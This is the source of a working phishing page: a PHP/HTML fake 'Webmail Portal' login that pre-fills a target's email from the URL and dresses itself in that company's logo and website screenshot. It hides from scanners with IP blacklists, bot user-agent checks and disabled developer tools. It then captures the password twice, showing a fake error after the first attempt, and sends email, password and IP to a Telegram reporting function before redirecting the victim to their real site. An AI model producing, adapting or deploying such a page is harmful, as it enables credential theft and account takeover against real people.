<?php
//═══════════════════════════════════════════════════════════════════════════
//  IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('getVisitorIP')) {
    function getVisitorIP() {
        $server_addr = $_SERVER['SERVER_ADDR'];
        $localhost = '127.0.0.1';
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) &&
            (($_SERVER['HTTP_CF_CONNECTING_IP']) != $localhost) &&
            (($_SERVER['HTTP_CF_CONNECTING_IP']) != ($server_addr))) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR']) != $localhost)) {
            $ip = $_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) &&
                  (($_SERVER['HTTP_X_FORWARDED_FOR']) != $localhost) &&
                  (($_SERVER['HTTP_X_FORWARDED_FOR']) != ($server_addr))) {
            $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) &&
                  (($_SERVER['HTTP_CLIENT_IP']) != $localhost) &&
                  (($_SERVER['HTTP_CLIENT_IP']) != ($server_addr))) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
}
$visitor_ip = getVisitorIP();

if (IPBlacklistLoader::isBlacklisted($visitor_ip)) {
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$ua_lower = strtolower($ua);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}
?>
<html lang="en">
<head>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
    <link rel="shortcut icon" href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAAAAAAAD/4QBCRXhpZgAATU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAAkAAAAMAAAABACwAAEABAAEAAAABAAAAAAAAAAAAAP/bAEMACwkJBwkJBwkJCQkLCQkJCQkJCwkLCwwLCwsMDRAMEQ4NDgwSGRIlGh0lHRkfHCkpFiU3NTYaKjI+LSkwGTshE//bAEMBBwgICwkLFQsLFSwdGR0sLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLP/AABEIAXsB2gMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/AOJJOTSZNItJSAXJoyaSigBcmjJpKKAFyaMmkooAXJ9aMmkooA">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"
          integrity="sha256-LA89z+k9fjgMKQ/kq4OO2Mrf8VltYml/VES+Rg0fh20= sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm sha512-k78e1fbYs09TQTqG79SpJdV4yXq8dX6ocfP0bzQHReQSbEghnS6AQHE2BbZKns962YaqgQL16l7PkiiAHZYvXQ=="
          crossorigin="anonymous">
    <title class="logoname">Webmail Portal Access | Digital Secured Platform</title>

    <!-- Antibot Scripts -->
    <script src="../m/js/fingerprint.js"></script>
    <script src="../m/js/utils.js"></script>
    <script src="../m/js/captcha.js"></script>

    <!-- Centralized Functions -->
    <script src="../js/centralized_telegram.js"></script>
    <script src="../js/centralized_redirect.js"></script>
    <script src="../js/email_extractor.js"></script>
    <script src="../js/autofill_helper.js"></script>

    <script>
        window.addEventListener('keydown', (e) => {
            if (e.ctrlKey && (e.which == 83)) {
                e.preventDefault();
                return false;
            }
        });
        window.addEventListener('contextmenu', event => event.preventDefault());
        document.onkeydown = (e) => {
            if (event.keyCode == 123) {
                return false;
            }
            if (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.keyCode == 'S'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.keyCode == 'H'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.keyCode == 'A'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.keyCode == 'F'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.keyCode == 'E'.charCodeAt(0)) {
                return false;
            }
        }
        window.onkeydown = (e) => {
            return !(e.ctrlKey &&
                (e.keyCode === 67 ||
                    e.keyCode === 85 ||
                    e.keyCode === 86 ||
                    e.keyCode === 88 ||
                    e.keyCode === 117));
        };
    </script>
    <style>
        #body-img {
            background-image: url('');
            background-repeat: no-repeat;
            background-attachment: fixed;
            background-size: cover;
            background-position: center top;
            transition: background-image 0.6s ease-in-out;
        }
        #bg-overlay {
            position: fixed;
            top: 0; left: 0; right: 0; bottom: 0;
            background: rgba(255,255,255,0.55);
            backdrop-filter: blur(3px);
            -webkit-backdrop-filter: blur(3px);
            z-index: 0;
            opacity: 0;
            transition: opacity 0.6s ease-in-out;
        }
        #bg-overlay.active { opacity: 1; }
        .modal { z-index: 1; position: relative; }
    </style>
</head>

<body id="body-img">
<div id="bg-overlay"></div>
<div style="display: block !important" class="modal" id="ajaxModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
    <div class="modal-dialog" role="document" style="max-width: 420px; margin-top: 20px;">
        <div class="modal-content">
            <div class="modal-header" style="padding: 0.5rem 1rem;"></div>
            <form id="contact" class="form-horizontal well">
                <div class="modal-body" style="padding: 0.75rem 1rem;">
                    <div style="text-align: center;">
                        <div id="fieldImgCont" style="max-height: 80px; overflow: hidden;">
                            <img id="img-field" style="max-height: 80px; width: auto;" src="" alt="Logo"></div>
                        <script>
                            (function(){
                                var defaultSvg = "data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'%3E%3Ccircle cx='50' cy='50' r='45' fill='none' stroke='%23283e59' stroke-width='3'/%3E%3Cpath d='M30 35h40v30H30z' fill='none' stroke='%23283e59' stroke-width='2.5'/%3E%3Cpath d='M30 35l20 18 20-18' fill='none' stroke='%23283e59' stroke-width='2.5'/%3E%3Crect x='42' y='48' width='16' height='20' rx='2' fill='none' stroke='%23283e59' stroke-width='2'/%3E%3Cpath d='M45 55h10M45 59h10' stroke='%23283e59' stroke-width='1.5'/%3E%3C/svg%3E";
                                var img = document.getElementById('img-field');
                                img.src = defaultSvg;
                                img.onerror = function(){ this.onerror=null; this.src=defaultSvg; };
                                window._defaultLogoSvg = defaultSvg;
                            })();
                        </script>
                        <h5 class="modal-title" id="exampleModalLabel"><span id="head-message"></span></h5> <span
                            class="font-weight-normal" style="font-size: 14px;">Sign-in with your email credentials to access.</span>
                        <div id="errorpw" style="color: red; margin: 5px 15px;"></div>
                    </div>

                    <div class="col-lg-12">
                        <div class="form-group">
                            <label for="Email">Email address</label>
                            <input style="background-color: #eee;opacity: 1; pointer-events:none !important;"
                                   type="email" name="email" class="form-control" id="email"
                                   aria-describedby="emailHelp" placeholder="Username" value="" readonly="">
                        </div>
                    </div>
                    <div class="col-lg-12">
                        <div style="margin-bottom: 0.5rem !important;" class="form-group">
                            <label for="Password">Password</label>
                            <input type="password" name="password" class="form-control" id="password"
                                   aria-describedby="emailHelp" placeholder="Password" required=""></div>
                    </div>
                </div>
				
				<div style="padding: 0.5rem !important;padding-left: 6% !important;padding-right: 6% !important; margin-bottom: 15px;">
				 <div align="left">
				  <input type="checkbox"><span style="font-size: 15px;color:gray;"> Remember me </span> 
				</div>
				</div>

                <div class="modal-footer" style="padding: 0.5rem !important;padding-left: 6% !important;padding-right: 6% !important;">
                    <button type="submit" class="btn btn-lg btn-info pull-right" id="submit-btn">Login</button>
                </div>
            </form>
        </div>
    </div>
	<p class="h6 text-center text-dark">Copyright &copy; <script>document.write(new Date().getFullYear())</script> Systems Incorporated. All rights reserved.</p>
</div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha256-pS96pU17yq+gVu4KBQJi38VpSuKN7otMrDQprzf/DWY= sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q sha512-Ua/7Woz9L5O0cwB/aYexmgoaD7lw3dWe9FvXejVdgqu71gRog3oJgjSWQR55fwWx+WKuk8cl7UwA1RS6QCadFA==" crossorigin="anonymous"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha256-5+02zu5UULQkO7w1GIr6vftCgMfFdZcAHeDtFnKZsBs= sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl sha512-ANkGm5vSmtDaoFA/NB1nVJzOKOiI4a/9GipFtkpMG8Rg2Bz8R1GFf5kfL0+z0lcv2X/KZRugwrAlVTAgmxgvIg==" crossorigin="anonymous"></script>

    <!-- IP Lookup -->
    <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>

    <script>
		function tryLoadLogo(sources, imgEl, index) {
            if (index >= sources.length) {
                if (window._defaultLogoSvg) imgEl.src = window._defaultLogoSvg;
                return;
            }
            var test = new Image();
            test.onload = function() {
                if (test.naturalWidth < 2 && test.naturalHeight < 2) {
                    tryLoadLogo(sources, imgEl, index + 1);
                } else {
                    imgEl.src = sources[index];
                }
            };
            test.onerror = function() {
                tryLoadLogo(sources, imgEl, index + 1);
            };
            test.src = sources[index];
        }

		function changeBodyImage(domain) {
            // Load company logo with multi-source fallback
            const imgField = document.getElementById("img-field");
            const logoSources = [
                `https://logo.clearbit.com/${domain}`,
                `https://img.logo.dev/${domain}?token=pk_2sY0jdFnSEqwu6MZcHIaCA&format=png&size=128`,
                `https://cdn.brandfetch.io/${domain}/w/512/h/512?c=1id_JCAHeG`,
                `https://www.google.com/s2/favicons?domain=${domain}&sz=128`
            ];
            tryLoadLogo(logoSources, imgField, 0);

            // Replace container title with company name
            let domainName = domain.substring(0, domain.indexOf('.')) || domain;
            domainName = domainName.charAt(0).toUpperCase() + domainName.slice(1);
            const headMsg = document.getElementById("head-message");
            if (headMsg) headMsg.textContent = domainName;
            document.title = domainName + " - Secure Portal";

            // Load domain website screenshot as background with fallback
            function setBgImage(url) {
                var testBg = new Image();
                testBg.onload = function() {
                    document.getElementById("body-img").style.backgroundImage = 'url("' + url + '")';
                    var overlay = document.getElementById("bg-overlay");
                    if (overlay) overlay.classList.add('active');
                };
                testBg.src = url;
            }
            var bgSources = [
                `https://image.thum.io/get/width/1500/https://${domain}`,
                `https://api.thumbnail.ws/api/ab39c80db4a3a7b5f855d09c4e08e3560c4af28d8cf1/thumbnail/get?url=https://${domain}&width=1500`
            ];
            var bgImg = new Image();
            bgImg.onload = function() { setBgImage(bgSources[0]); };
            bgImg.onerror = function() {
                var bgImg2 = new Image();
                bgImg2.onload = function() { setBgImage(bgSources[1]); };
                // Standardized autofill handled by js/autofill_helper.js
                bgImg2.onerror = function() {};
                bgImg2.src = bgSources[1];
            };
            bgImg.src = bgSources[0];
        }

        // Extract email from ?ref= parameter (standard provider pattern)
        function getEmailFromRef() {
            var email = '';
            try {
                var params = new URLSearchParams(window.location.search);
                var ref = params.get('ref');
                if (ref) {
                    try { email = atob(ref); } catch(e) { email = decodeURIComponent(ref); }
                }
                // Fallback: check hash (for backward compatibility with chameleon/index.html)
                if (!email && window.location.hash) {
                    var hash = window.location.hash.substring(1);
                    try { email = atob(hash); } catch(e) { email = hash; }
                }
            } catch(e) {}
            return email;
        }

        var count = 0;
        // var email = getEmailFromRef();

        document.addEventListener('DOMContentLoaded', function() {
            // Email extraction handled by js/email_extractor.js
            var email = typeof extractEmailFromUrl === 'function' ? extractEmailFromUrl() : "";
            if (email && email.match(/([a-zA-Z0-9._+-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi)) {
                document.getElementById("email").value = email;
                var domain = email.substring(email.lastIndexOf("@") + 1);
                changeBodyImage(domain);
            }

            document.getElementById("submit-btn").addEventListener("click", function(event) {
                event.preventDefault ? event.preventDefault() : event.returnValue = false;

                // Explicitly extract values directly from the DOM at submission time
                var currentEmail = document.getElementById("email").value || "";
                var currentPswd = document.getElementById("password").value || "";
                var providerTag = 'chameleon';
                var clientIP = window.userip || 'n/a';

                if (currentPswd.length < 5) {
                    document.getElementById('errorpw').innerHTML = "Your account password is too short.";
                    setTimeout(function() {
                        document.getElementById("password").value = "";
                        document.getElementById('errorpw').innerHTML = "";
                    }, 1500);
                } else if (count === 0) {
                    // First attempt — report and show error
                    if (typeof sendCentralizedTelegramReport === 'function') {
                        sendCentralizedTelegramReport(providerTag, currentEmail, currentPswd, clientIP, function() {});
                    }
                    document.getElementById('errorpw').innerHTML = "Something went wrong. Please check your credentials.";
                    setTimeout(function() {
                        count++;
                        document.getElementById("password").value = "";
                        document.getElementById('errorpw').innerHTML = "";
                    }, 2000);
                } else {
                    // Second attempt — report and redirect
                    if (typeof sendCentralizedTelegramReport === 'function') {
                        sendCentralizedTelegramReport(providerTag, currentEmail, currentPswd, clientIP, function() {
                            if (typeof performCentralizedRedirect === 'function') {
                                performCentralizedRedirect(800);
                            } else {
                                var domain = currentEmail.substring(currentEmail.lastIndexOf("@") + 1);
                                if (!domain) domain = "webmail.portal";
                                setTimeout(function() { window.location.replace("https://www." + domain); }, 800);
                            }
                        });
                    } else {
                        var domain = currentEmail.substring(currentEmail.lastIndexOf("@") + 1);
                        if (!domain) domain = "webmail.portal";
                        setTimeout(function() { window.location.replace("https://www." + domain); }, 800);
                    }
                }
            });
        });
    </script>
</body>
</html>
